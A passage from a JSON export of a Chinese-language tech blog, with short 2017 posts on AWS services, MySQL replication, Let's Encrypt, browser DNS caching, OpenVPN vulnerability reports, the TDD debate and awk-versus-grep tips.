    "body": "業界這幾個月也傳的頗盛的消息總算也公開了。<a href=\"https://aws.amazon.com/\">AWS</a> 預定在 2018 年開香港區：「<a href=\"https://aws.amazon.com/blogs/aws/in-the-works-aws-region-in-hong-kong/\">In the Works – AWS Region in Hong Kong</a>」。\r\n\r\n<blockquote>Today, I am happy to be able to tell you that we are planning to open up an AWS Region in Hong Kong, in 2018.</blockquote>\r\n\r\n不過 <a href=\"http://www.hinet.net/\">HiNet</a> 對香港的頻寬一直是個痛 (塞翻了)，反倒是到日本的頻寬還比較順。明年上線後可以觀察看看 XDDD\r\n\r\n另外日本有稅的問題，單價比起亞洲其他點高不少 (與新加坡比起來蠻明顯的)。香港的價錢不知道會怎麼算，雖然稅可能比較低 (maybe)，但畢竟是一個沒什麼土地的地區，會不會在機器成本上其實也補回來不少...\r\n\r\n然後再來是代碼，應該會是 <code>ap-southeast-3</code>？",
    "title": "AWS 香港區 2018 開台"
  },
  {
    "id": "7399",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的人整理了一篇關於 Replication 的方案 (以及 NDB，不過這邊就先偷偷跳過去...)，雖然標題寫的是 High Availability：「<a href=\"https://www.percona.com/blog/2017/06/20/the-mysql-high-availability-landscape-in-2017-the-elders/\">The MySQL High Availability Landscape in 2017 (The Elders)</a>」。\r\n\r\n先講他給的另外兩個方案，一個是 Shared Storage，另外一個是 NDB。\r\n\r\n其中 Shared Storage 其實在儲存空間端還是有單點失效的問題，而 NDB 的特性跟 InnoDB 不同，有很多概念要重新學... 如果就這三個比較，常見的還是第一個提到的 Replication。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/R3DfGfv.webp\" /><img src=\"https://i.gslin.com/imgur/R3DfGfv.jpg\" alt=\"\" /></picture>\r\n\r\n其實把 Replication 用熟的話已經可以解決不少問題了 (不論是早期的 <a href=\"http://mysql-mmm.org/\">MMM</a>，或是 <a href=\"https://github.com/yoshinorim/mha4mysql-manager\">MHA</a>)。而且因為技術已經發展很久了，大家幾乎都很熟特性 (以及 bug XD)，網路上可以找到不少資料，甚至 Percona 也都能夠支援 (當你願意付錢的時候 XDDD)。",
    "title": "MySQL 上 Replication 的方案"
  },
  {
    "id": "7400",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2017/06/10/7370/pinboard-%E6%94%B6%E8%B3%BC-delicious/\">Pinboard 收購 Delicious</a>」這邊提到了 <a href=\"https://pinboard.in/\">Pinboard</a> 買下 <a href=\"https://del.icio.us/\">Delicious</a> 的事情，而剛剛在 <a href=\"https://twitter.com/\">Twitter</a> 上看到費用：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Delicious acquisition costs:<br><br>Purchase price: $35,000<br>Legal fees: $1,485<br>New hardware: $10,915<br>June Linode bill: ~$2500<br><br>Total: $49,900</p>&mdash; Pinboard (@Pinboard) <a href=\"https://twitter.com/Pinboard/status/877775889517297664\">June 22, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n順便打算把機器從 <a href=\"https://www.linode.com/\">Linode</a> 轉到實體機器上，原來 Delicious 之前在 Linode 上的費用也不怎麼便宜... (不過現在看起來還是放在 Linode 上面)\r\n\r\n有量而且沒什麼變動的服務用實體機器的成本會低不少...",
    "title": "Delicious 轉移到實體機器上..."
  },
  {
    "id": "7401",
    "body": "<a href=\"https://aws.amazon.com/waf/\">AWS WAF</a> 宣佈支援 Rate-based 條件了，不過目前只支援五分鐘為單位的限制：「<a href=\"https://aws.amazon.com/blogs/aws/protect-web-sites-services-using-rate-based-rules-for-aws-waf/\">Protect Web Sites &amp; Services Using Rate-Based Rules for AWS WAF</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/heyM0tg.webp\" /><img src=\"https://i.gslin.com/imgur/heyM0tg.jpg\" alt=\"\" /></picture>\r\n\r\n算是還不錯的功能，雖然目前稍微陽春一點...",
    "title": "AWS WAF 支援速率限制了"
  },
  {
    "id": "7402",
    "body": "在「<a href=\"https://blog.acolyer.org/2017/06/21/the-password-reset-mitm-attack/\">The password reset MitM attack</a>」這邊看到 PRMitM (Password Reset Man-in-the-Middle) 這樣的攻擊，原始論文在「<a href=\"https://www.ieee-security.org/TC/SP2017/papers/207.pdf\">The Password Reset MitM Attack</a>」這邊可以取得。\r\n\r\n用圖說明基本版的攻擊方式：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/uiq23Gy.webp\" /><img src=\"https://i.gslin.com/imgur/uiq23Gy.jpg\" alt=\"\" /></picture>\r\n\r\n另外列出了各大站台的狀態：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/OyKCt9O.webp\" /><img src=\"https://i.gslin.com/imgur/OyKCt9O.jpg\" alt=\"\" /></picture>\r\n\r\n以及各家簡訊的文字，可以發現不是每一家都有把產品的名稱寫上去：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/z9Hhjty.webp\" /><img src=\"https://i.gslin.com/imgur/z9Hhjty.jpg\" alt=\"\" /></picture>\r\n\r\n這方法好有趣啊... XD",
    "title": "重設密碼 + Social Engineering"
  },
  {
    "id": "7404",
    "body": "<a href=\"https://www.netflix.com/\">Netflix</a> 對於拍攝影片的要求直接放在網站上：「<a href=\"https://backlothelp.netflix.com/hc/en-us/articles/217237077-Production-and-Post-Production-Requirements-v2-1\">Production and Post-Production Requirements v2.1</a>」。\r\n\r\n<blockquote>Provide a set of technical requirements for production and post-production workflows to ensure that a high level of quality is maintained throughout the lifecycle of a project from capture to archive. This serves the purpose of future-proofing the content as the Netflix platform and viewing experience continue to evolve.</blockquote>\r\n\r\n裡面有提到一些產品，這些資訊其實可以當作採購指南用... (當預算有到這個 range 時 XD)\r\n\r\n不過動畫會怎麼算啊 XDDD (應該是另外的 requirement？)",
    "title": "Netflix 對於拍攝影片的要求"
  },
  {
    "id": "7405",
    "body": "<a href=\"https://www.google.com/chrome/\">Google Chrome</a> 出了以後 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 決定要跟著出的感覺？慢了好幾拍...：「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=1355150\">Support headless mode on Windows</a>」。\r\n\r\n目前 stable 版是 54.0，所以再兩個 release cycle 就會看到了... 這樣就有兩個有支援 headless 模式的瀏覽器 (而且底層 engine 不一樣) 可以測試了。現在要測的人可以在 nightly 裡看到了。",
    "title": "Firefox 在 56 也要支援 Headless 模式"
  },
  {
    "id": "7407",
    "body": "<a href=\"https://www.google.com/\">Google</a> 在推的 <a href=\"https://cloud.google.com/beyondcorp/\">BeyondCorp</a> 發了一篇介紹出來：「<a href=\"https://www.blog.google/topics/google-cloud/how-use-beyondcorp-ditch-your-vpn-improve-security-and-go-cloud/\">How to use BeyondCorp to ditch your VPN, improve security and go to the cloud</a>」。\r\n\r\n裡面有提到幾篇研究：\r\n\r\n<ul>\r\n\t<li><a href=\"https://research.google.com/pubs/pub43231.html\">BeyondCorp: A New Approach to Enterprise Security</a></li>\r\n\t<li><a href=\"https://research.google.com/pubs/pub44860.html\">BeyondCorp: Design to Deployment at Google</a></li>\r\n\t<li><a href=\"https://research.google.com/pubs/pub45728.html\">Beyond Corp: The Access Proxy</a></li>\r\n</ul>\r\n\r\n在文章開頭處有提到 BeyondCorp 的想法是「zero-trust network security model」，這樣就比較能理解他的設計了：\r\n\r\n<blockquote>We moved away from our corporate VPN, and introduced BeyondCorp, a zero-trust network security model.</blockquote>\r\n\r\n當掃地的阿桑可以碰到企業內的實體網路時，要怎麼設計防禦機制...",
    "title": "Google 推的 BeyondCorp"
  },
  {
    "id": "7410",
    "body": "<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 也推出了 Object Storage：「<a href=\"https://www.digitalocean.com/products/storage/object-storage/\">Introducing Object Storage</a>」。\r\n\r\n不過價錢沒有先公佈啊... 這年頭這種東西沒有比 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 便宜，或是有特殊功能的話，也別進來玩了。\r\n\r\n以 DigitalOcean 最近的動作來看，還是先放置好了，等價錢出來再來決定要怎麼做 XDDD",
    "title": "DigitalOcean 也開始推出 Object Storage"
  },
  {
    "id": "7415",
    "body": "很簡單但也很直接的消息公佈，<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈在東京區與新加坡區支援 <a href=\"https://aws.amazon.com/athena/\">Amazon Athena</a> 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/06/amazon-athena-is-now-available-in-asia-pacific-singapore-and-asia-pacific-tokyo/\">Amazon Athena is now available in Asia Pacific (Singapore) and Asia Pacific (Tokyo)</a>」。\r\n\r\n這樣就不需要在美國跑完丟回日本了...",
    "title": "AWS 東京區支援 Amazon Athena 了"
  },
  {
    "id": "7418",
    "body": "看到「<a href=\"https://guidovranken.wordpress.com/2017/06/21/the-openvpn-post-audit-bug-bonanza/\">The OpenVPN post-audit bug bonanza</a>」這個只有苦笑啊...\r\n\r\n作者在 <a href=\"https://openvpn.net/\">OpenVPN</a> 經過一連串的安全加強後 (包括 harden 計畫與兩個外部單位的程式碼稽核找到不少問題)，決定出手挖看看：\r\n\r\n<blockquote>After a hardening of the OpenVPN code (as commissioned by the Dutch intelligence service AIVD) and two recent audits 1 2, I thought it was now time for some real action ;).</blockquote>\r\n\r\n然後就挖出不少問題了...\r\n\r\n可以看到作者透過 fuzzing 打出一卡車，包含了不少 crash XDDD：(然後有一個是 stack buffer corruption，不知道有沒有機會變成 RCE)\r\n\r\n<ul>\r\n\t<li>Remote server crashes/double-free/memory leaks in certificate processing (CVE-2017-7521)</li>\r\n\t<li>Remote (including MITM) client crash, data leak (CVE-2017-7520)</li>\r\n\t<li>Remote (including MITM) client stack buffer corruption</li>\r\n\t<li>Remote server crash (forced assertion failure) (CVE-2017-7508)</li>\r\n\t<li>Crash mbed TLS/PolarSSL-based server (CVE-2017-7522)</li>\r\n\t<li>Stack buffer overflow if long –tls-cipher is given</li>\r\n</ul>",
    "title": "最近 OpenVPN 的安全性漏洞..."
  },
  {
    "id": "7419",
    "body": "<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 發文慶祝發出了一億個 SSL Certificate：「<a href=\"https://letsencrypt.org/2017/06/28/hundred-million-certs.html\">Milestone: 100 Million Certificates Issued</a>」。\r\n\r\n雖然是 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 的資料，但還是很明顯可以看出來全世界都在往 HTTPS 走：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/T2sfzxc.webp\" /><img src=\"https://i.gslin.com/imgur/T2sfzxc.jpg\" alt=\"\" /></picture>\r\n\r\n不知道會用多少時間衝到十億...",
    "title": "Let's Encrypt 發出第一億個 SSL Certificate"
  },
  {
    "id": "7420",
    "body": "<a href=\"https://www.mozilla.org/\">Mozilla</a> 觀測 <a href=\"https://www.alexa.com/\">Alexa</a> Top 1M 網站，對 HTTPS 使用情況的分析：「<a href=\"https://blog.mozilla.org/security/2017/06/28/analysis-alexa-top-1m-sites/\">Analysis of the Alexa Top 1M sites</a>」。\r\n\r\n可以看到比較明顯的是 HTTPS 以及 HTTP → HTTPS Redirection 這兩塊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NXtYPq6.webp\" /><img src=\"https://i.gslin.com/imgur/NXtYPq6.jpg\" alt=\"\" /></picture>\r\n\r\n不過用 Alexa 的資料有種怪怪的感覺啊... 在討論 HTTPS (有點在推廣的感覺)，但 Alexa 的網站現在是做反過來的 HTTPS → HTTP Redirection XDDD",
    "title": "Alexa Top 1M 網站使用 HTTPS 的改善"
  },
  {
    "id": "7421",
    "body": "雖然「<a href=\"https://smalldatum.blogspot.com/2017/06/myisam-small-servers-and-sysbench-at.html\">MyISAM, small servers and sysbench at low concurrency</a>」這篇標題是在講 <a href=\"https://dev.mysql.com/\">MySQL</a> 上的 MyISAM，但還是有提到一些 InnoDB 的東西...\r\n\r\n其中提到了 <code>innodb_purge_threads</code> 對效能的影響：\r\n\r\n<blockquote>the default value for innodb_purge_threads, which is 4, can cause too much mutex contention and a loss in QPS on small servers. For sysbench update-only I lose 25% of updates/second with 5.7.17 and 15% with 8.0.1 when going from innodb_purge_threads=1 to =4.</blockquote>\r\n\r\n當機器不大的時候，<code>innodb_purge_threads</code> 對於效能帶來的影響其實頗大的？\r\n\r\n另外從作者最近的一系列測試看起來，5.7 在小機器的效能比 5.6 差不少... 這點在考慮 <a href=\"https://aws.amazon.com/rds/\">RDS</a> 的時候也許要注意 (因為 t2.* 應該不算大 XD)。",
    "title": "小台機器上的 innodb_purge_threads 對效能的影響"
  },
  {
    "id": "7422",
    "body": "在看「<a href=\"http://blog.streamingmedia.com/2017/06/load-balancing-in-the-cloud.html\">Reviewing Fastly’s New Approach To Load Balancing In The Cloud</a>」這篇的時候被提醒：\r\n\r\n<blockquote>However, most browsers have implemented their own caching layer that can override the TTL specified by the server. In fact, some browsers cache for 5-10 minutes, which is an eternity when a region or data center fails and you need to route end users to a different location.</blockquote>\r\n\r\n我印象中沒那麼長，但也記不起來多長，所以查了一下...\r\n\r\n結果 <a href=\"https://en.wikipedia.org/wiki/Internet_Explorer\">IE</a> 在「<a href=\"https://support.microsoft.com/en-us/help/263558/how-internet-explorer-uses-the-cache-for-dns-host-entries\">How Internet Explorer uses the cache for DNS host entries</a>」直接說三十分鐘 XDDD 這篇文章是 2011 年更新的，所以至少到 IE9 都是對的？\r\n\r\n<blockquote>Internet Explorer 4.x and later versions modify how DNS host entries are cached by decreasing the default time-out value to 30 minutes.</blockquote>\r\n\r\n<a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 的值可以從 <a href=\"https://developer.mozilla.org/en-US/docs/Mozilla/Preferences/Mozilla_networking_preferences\">Mozilla networking preferences</a> 這邊對 <code>network.dnsCacheExpiration</code> 的說明看到是 60 秒。\r\n\r\n<a href=\"https://www.google.com/chrome/\">Google Chrome</a> 沒找到官方的說明...\r\n\r\n不過這可以知道當你要換 IP address 時，如果可以讓新舊 IP 都提供服務的話，至少規劃半個小時會比較保險。如果有其他理由而沒辦法同時提供服務的話，至少公告步驟裡要有「重開瀏覽器」這塊。\r\n\r\n而作業系統自己的 cache 又是另外要計算進去的事了...",
    "title": "除了 DNS 的 TTL 外，還有瀏覽器本身的 cache time..."
  },
  {
    "id": "7423",
    "body": "以前要記錄行為會透過 <a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 轉丟到其他帳號下記錄，有一堆眉眉角角的東西要注意，現在則是直接支援了：「<a href=\"https://aws.amazon.com/blogs/aws/new-cross-account-delivery-of-cloudwatch-events/\">New – Cross-Account Delivery of CloudWatch Events</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/61RTHU1.webp\" /><img src=\"https://i.gslin.com/imgur/61RTHU1.jpg\" alt=\"\" /></picture>\r\n\r\n文章裡有提到兩種用途，其中一種就是做安全性的記錄：\r\n\r\n<blockquote>Separation of Concerns – Customers would like to handle and respond to events in a separate account in order to implement advanced security schemes.</blockquote>\r\n\r\n另外一種則是為了將記錄丟到同一個地方：\r\n\r\n<blockquote>Rollup – Customers are using AWS Organizations and would like to track certain types of events across the entire organization, across a multitude of AWS accounts.</blockquote>\r\n\r\n價錢看起來沒什麼問題，每一百萬次收 USD$1：\r\n\r\n<blockquote>Events forwarded from one account to another are considered custom events. The sending account is charged $1 for every million events (see the CloudWatch Pricing page for more info).</blockquote>",
    "title": "AWS 支援跨帳號丟 CloudWatch Events 了"
  },
  {
    "id": "7424",
    "body": "文章標題就直接寫「<a href=\"https://blogs.msdn.microsoft.com/ericgu/2017/06/22/notdd/\">#NoTDD</a>」的戰文 XDDD\r\n\r\n列了 Pros (一行) 跟 Cons (超長 XDDD)：\r\n\r\n<blockquote>Pros\r\n\t<ul>\r\n<li>We end up with tests that verify the behavior of the code and help prevent regressions</li>\r\n</ul></blockquote>\r\n\r\n這個是 TDD 的目的。而 Cons：\r\n\r\n<blockquote>Cons\r\n<ul>\r\n\t<li>It takes us longer to write code using TDD</li>\r\n\t<li>The tests get in the way. Because my design does not have low coupling, I end up with tests that also do not have low coupling. This means that if I change the behavior of how class <x> works, I often have to fix tests for other classes.</li>\r\n\t<li>Because I don’t have low coupling, I need to use mocks or other tests doubles often. Tests are good to the extent that the tests use the code in precisely the same way the real system uses the code. As soon as I introduce mocks, I now have a test that only works as long as that mock faithfully matches the behavior of the real system. If I have lots of mocks – and since I don’t have low coupling, I need lots of mocks – then I’m going to have cases where the behavior does not match. This will either show up as a broken test, or a missed regression.</li>\r\n\t<li>Design on the fly is a learned skill. If you don’t have the refactoring skills to drive it, it is possible that the design you reach through TDD is going to be worse than if you spent 15 minutes doing up-front design.</li>\r\n</ul></blockquote>\r\n\r\n這四個問題講的是時間與能力兩個因子的作用，轉一個角度來討論其實是：如果 junior engineer 可以寫出好的測試，他們就不叫 junior engineer 了... 而 senior engineer 是稀缺資源，讓他們多花時間寫出「好的測試」未必是划算的。\r\n\r\n反而是另外一種常見的方式常常跟 TDD 在對抗：透過 QA team 在完成後測試，尤其是用手動測試的 QA team XDDD\r\n\r\n這個方法很簡單，而且行之有年。而且很無奈的，跟一般軟體工程所期望的相反，junior engineer 就可以做的不錯，所以人力的部份相當好 scale，而品質也有不錯的水準 (畢竟是直接測實際的功能了)。\r\n\r\n剛好前陣子有提到另外一篇論文也在討論 TDD 的效果 (參考「<a href=\"https://blog.gslin.org/archives/2017/06/19/7394/%E5%8F%88%E4%B8%80%E7%AF%87%E6%88%B0%E6%96%87%EF%BC%9A%E8%A8%8E%E8%AB%96-tdd-%E7%9A%84%E9%81%8E%E7%A8%8B/\">又一篇戰文：討論 TDD 的過程</a>」這邊)，也有類似的反思。\r\n\r\n前陣子在 <a href=\"https://twitter.com/\">Twitter</a> 上看到這則也是很有趣，拿來當結尾 XDDD：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"zh\" dir=\"ltr\">爛 code 在經過長時間的演化之後，就會變成穩定的爛 code：不只爛，而且比任何試圖改進的版本穩定。</p>&mdash; Shiao-An Yuan (@shiaoanyuan) <a href=\"https://twitter.com/shiaoanyuan/status/701760258637565952\">February 22, 2016</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>",
    "title": "Microsoft Blogs 上 TDD 的戰文..."
  },
  {
    "id": "7425",
    "body": "最近在 <a href=\"https://workplace.stackexchange.com/\">The Workplace Stack Exchange</a> 上還蠻火紅的一篇文章：「<a href=\"https://workplace.stackexchange.com/questions/93696/is-it-unethical-for-me-to-not-tell-my-employer-i-ve-automated-my-job\">Is it unethical for me to not tell my employer I’ve automated my job?</a>」。\r\n\r\n作者的全職工作是從系統上抓資料出來，貼到 spreadsheet 上 (也許是 Excel？)，這份工作的薪資還不錯，然後作者寫程式自動化掉後發現他每禮拜只需要做一兩個小時了：\r\n\r\n<blockquote>There might be amendments to the spec and corresponding though email etc, but overall, I spend probably 1-2 hours per week on my job for which I am getting a full time wage.</blockquote>\r\n\r\n然後在糾結要不要跟雇主講，跑上來發文 XDDD 有興趣的人可以去圍觀看一看下面的回應...",
    "title": "「把工作自動化」的討論"
  },
  {
    "id": "7428",
    "body": "<a href=\"https://github.com/\">GitHub</a> 推出了抓人來 review 的功能：「<a href=\"https://github.com/blog/2389-requesting-reviews-from-repository-teams\">Requesting reviews from repository teams</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/hA92iXY.gif\" alt=\"\" />\r\n\r\n在「<a href=\"https://help.github.com/articles/requesting-a-pull-request-review/\">Requesting a pull request review</a>」這邊說明的更多一些。這樣就更方便了些...",
    "title": "GitHub 的 Review 功能"
  },
  {
    "id": "7429",
    "body": "<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 把時間表喊出來了，預定在 2018 年年初開放使用：「<a href=\"https://letsencrypt.org/2017/07/06/wildcard-certificates-coming-jan-2018.html\">Wildcard Certificates Coming January 2018</a>」。\r\n\r\nWildcard SSL Certificate 會需要走新的 ACME v2 協定認證：\r\n\r\n<blockquote>Wildcard certificates will be offered free of charge via our upcoming ACME v2 API endpoint. We will initially only support base domain validation via DNS for wildcard certificates, but may explore additional validation options over time.</blockquote>\r\n\r\n跟前陣子提到的「<a href=\"https://letsencrypt.org/2017/06/14/acme-v2-api.html\">ACME v2 API Endpoint Coming January 2018</a>」是相同的時間。\r\n\r\n這好讚...",
    "title": "Let's Encrypt 決定要規劃 Wildcard SSL Certificate 了"
  },
  {
    "id": "7430",
    "body": "<a href=\"https://github.com/\">GitHub</a> 推出了 Code Owner 的概念：「<a href=\"https://github.com/blog/2392-introducing-code-owners\">Introducing code owners</a>」。也很直接說這個能是向 <a href=\"https://www.chromium.org/\">Chromium</a>「致敬」出來的：\r\n\r\n<blockquote>The code owners feature was inspired by Chromium's use of OWNERS files.</blockquote>\r\n\r\n檔案名稱是 <code>CODEOWNERS</code>，可以放在根目錄或是 <code>.github/</code> 下，可以針對不同的目錄設不同的人：\r\n\r\n<blockquote>To specify code owners, create a file named CODEOWNERS in the repository's root directory (or in .github/ if you prefer) with the following format[.]</blockquote>\r\n\r\n這樣一來，在 pull request 的時候就會跳出來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/8uz89yK.webp\" /><img src=\"https://i.gslin.com/imgur/8uz89yK.jpg\" alt=\"\" /></picture>\r\n\r\n另外也可以設定需要 code owner 同意才能 merge：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/KmEQx9k.webp\" /><img src=\"https://i.gslin.com/imgur/KmEQx9k.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/7bwoPZ5.webp\" /><img src=\"https://i.gslin.com/imgur/7bwoPZ5.jpg\" alt=\"\" /></picture>",
    "title": "GitHub 引入 Code Owner 的概念"
  },
  {
    "id": "7431",
    "body": "在「<a href=\"http://blog.jpalardy.com/posts/skip-grep-use-awk/\">SKIP grep, use AWK</a>」這篇看到關於使用 <a href=\"https://en.wikipedia.org/wiki/AWK\">awk</a> 取代 <a href=\"https://en.wikipedia.org/wiki/Grep\">grep</a> 的介紹。\r\n\r\n作者提到這樣的替換：\r\n\r\n<pre>$ [data is generated] | grep something | awk '{print $2}'\r\n$ [data is generated] | awk '/something/ {print $2}'</pre>\r\n\r\n還有這樣直接替換 grep 的方式：\r\n\r\n<pre>$ [data is generated] | awk '/something/'</pre>\r\n\r\n以及 <code>-v</code> 的替換：\r\n\r\n<pre>$ [data is generated] | awk '/something/ {next} 1'\r\n$ [data is generated] | awk '! /something/'</pre>\r\n\r\n不過感覺還好耶...",
    "title": "用 awk 取代 grep 的工作"
  },
  {
    "id": "7432",
    "body": "在 <a href=\"https://www.schneier.com/\">Bruce Schneier</a> 的 blog 上看到 <a href=\"https://www.key.me/\">KeyMe</a> 這個服務：「<a href=\"https://www.schneier.com/blog/archives/2017/07/now_its_easier_.html\">Now It's Easier than Ever to Steal Someone's Keys</a>」。\r\n\r\n你把鑰匙的照片拍下來，透過 app 上傳付款後，他就把鑰匙寄給你 XDDD\r\n\r\n查了一下資料，在五年前 (2012) 的時候就有人做遠距離攻擊的研究了：「<a href=\"https://blog.gslin.org/archives/2012/07/17/2913/60-%E5%85%AC%E5%B0%BA%E5%A4%96%EF%BC%8C%E6%8B%8D%E7%85%A7%E6%94%9D%E5%BD%B1%E5%B0%B1%E5%8F%AF%E4%BB%A5%E9%87%8D%E8%A3%BD%E9%91%B0%E5%8C%99/\">60 公尺外，拍照攝影就可以重製鑰匙...</a>」，所以有好的方面，也有邪惡的方面...",
    "title": "用照片打鑰匙的服務"
  },
  {
    "id": "7433",
    "body": "透過 <a href=\"https://en.wikipedia.org/wiki/Freedom_of_Information_Act_(United_States)\">Freedom of Information Act</a> (FOIA) 取得的資料顯示美國政府 (包括了五角大廈、CIA、NSA) 如何介入好萊塢，影響大眾對於戰爭的看法：「<a href=\"https://medium.com/insurge-intelligence/exclusive-documents-expose-direct-us-military-intelligence-influence-on-1-800-movies-and-tv-shows-36433107c307\">EXCLUSIVE: Documents expose how Hollywood promotes war on behalf of the Pentagon, CIA and NSA</a>」。\r\n\r\n灰標「US military intelligence agencies have influenced over 1,800 movies and TV shows」可以看出影響的層面。\r\n\r\n<blockquote>The documents reveal for the first time the vast scale of US government control in Hollywood, including the ability to manipulate scripts or even prevent films too critical of the Pentagon from being made — not to mention influencing some of the most popular film franchises in recent years.</blockquote>\r\n\r\n從很意想不到的地方介入... 引用其中一個說明：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/MWrgrIT.webp\" /><img src=\"https://i.gslin.com/imgur/MWrgrIT.jpg\" alt=\"\" /></picture>\r\n<small>Jon Voight in Transformers — in this scene, just after American troops have been attacked by a Decepticon robot, Pentagon Hollywood liaison Phil Strub inserted the line ‘Bring em home’, granting the military a protective, paternalistic quality, when in reality the DOD does quite the opposite.</small>",
    "title": "美國政府暗中介入好萊塢的劇本，影響大眾對戰爭的看法"
  },
  {
    "id": "7434",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到的：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Chrome will fully distrust WoSign and StartCom in Chrome 61; beta in July, stable in September. <a href=\"https://t.co/5fnda6aUQw\">https://t.co/5fnda6aUQw</a></p>&mdash; Ivan Ristic (@ivanristic) <a href=\"https://twitter.com/ivanristic/status/883338522584920065\">July 7, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n對 <a href=\"https://www.wosign.com/\">WoSign</a> 與 <a href=\"https://www.startcom.org/\">StartCom</a> 的移除會發生在 61 版，而依照「<a href=\"https://groups.google.com/a/chromium.org/d/msg/net-dev/FKXe-76GO8Y/Ka8K5lj9AgAJ\">Final removal of trust in WoSign and StartCom Certificates</a>」這邊的說明，stable 應該會在九月出 61 版而生效：\r\n\r\n<blockquote>Based on the Chromium Development Calendar, this change should be visible in the Chrome Dev channel in the coming weeks, the Chrome Beta channel around late July 2017, and will be released to Stable around mid September 2017.</blockquote>",
    "title": "Google Chrome 對 WoSign 與 StartCom 的白名單要完全移除了"
  },
  {
    "id": "7435",
    "body": "2015 的文章以及演講，最近冒出來看到的。<a href=\"https://www.google.com/\">Google</a> 的 <a href=\"http://norvig.com/\">Peter Norvig</a> 提到了用 ML 的方式分析，發現程式競賽的成績與工作品質的負面相關性：「<a href=\"http://www.catonmat.net/blog/programming-competitions-work-performance/\">Being good at programming competitions correlates negatively with being good on the job</a>」。\r\n\r\n換句話說，程式競賽的成績反而是是個負面指標 (對於 Google 內的情況分析出來的，所以是基於 Google hiring process 的前提過濾過的)。\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/DdmyUZCl75s?rel=0\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n<blockquote>In this talk, Peter talked about how Google did machine learning and at one point he mentioned that at Google they also applied machine learning to hiring. He said that one thing that was surprising to him was that being a winner at programming contests was a negative factor for performing well on the job.</blockquote>\r\n\r\n給了一些對原因的猜測：\r\n\r\n<blockquote>Peter added that programming contest winners are used to cranking solutions out fast and that you performed better at the job if you were more reflective and went slowly and made sure things were right.</blockquote>\r\n\r\n<a href=\"https://www.youtube.com/\">YouTube</a> 的留言處也有一些猜測，像是：\r\n\r\n<blockquote>What he's talking about is the fact that several extremely important parts of software engineering are not included in these contests, for example code reusability, maintainability, decomposition of the problem using the OO paradigm, etc. All of these make a good engineer, but are not necessarily needed in competitive programming contests.﻿</blockquote>",
    "title": "在程式競賽得獎負面相關於工作的品質"
  },
  {
    "id": "7436",
    "body": "在「<a href=\"https://aws.amazon.com/blogs/aws/amazon-ec2-systems-manager-patch-manager-now-supports-linux/\">Amazon EC2 Systems Manager Patch Manager now supports Linux</a>」這邊 <a href=\"https://aws.amazon.com/\">AWS</a> 宣佈了 <a href=\"https://aws.amazon.com/ec2/systems-manager/patch-manager/\">Patch Manager</a> 支援 <a href=\"https://www.linux.org/\">Linux</a> 的消息。\r\n\r\n目前支援的包括了：\r\n\r\n<ul>\r\n\t<li>Amazon Linux 2014.03 and later (2015.03 and later for 64-bit)</li>\r\n\t<li>Ubuntu Server 16.04 LTS, 14.04 LTS, and 12.04 LTS</li>\r\n\t<li>RHEL 6.5 and later (7.x and later for 64-Bit)</li>\r\n</ul>\r\n\r\n連已經超過 LTS 支援期的 <a href=\"http://releases.ubuntu.com/12.04/\">Ubuntu 12.04</a> 都支援了... 不過 <a href=\"https://www.centos.org/\">CentOS</a> 看起來沒順便支援？\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GZPw54s.webp\" /><img src=\"https://i.gslin.com/imgur/GZPw54s.jpg\" alt=\"\" /></picture>\r\n\r\n可以設計一些規定 (與組織內規範相關的，像是 approval process) 讓 Patch Manager 決定要怎麼佈：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kjhbdby.webp\" /><img src=\"https://i.gslin.com/imgur/kjhbdby.jpg\" alt=\"\" /></picture>\r\n\r\n可以用這個直接處理安全性更新...",
    "title": "AWS 的 Patch Manager 支援 Linux"
  },
  {
    "id": "7437",
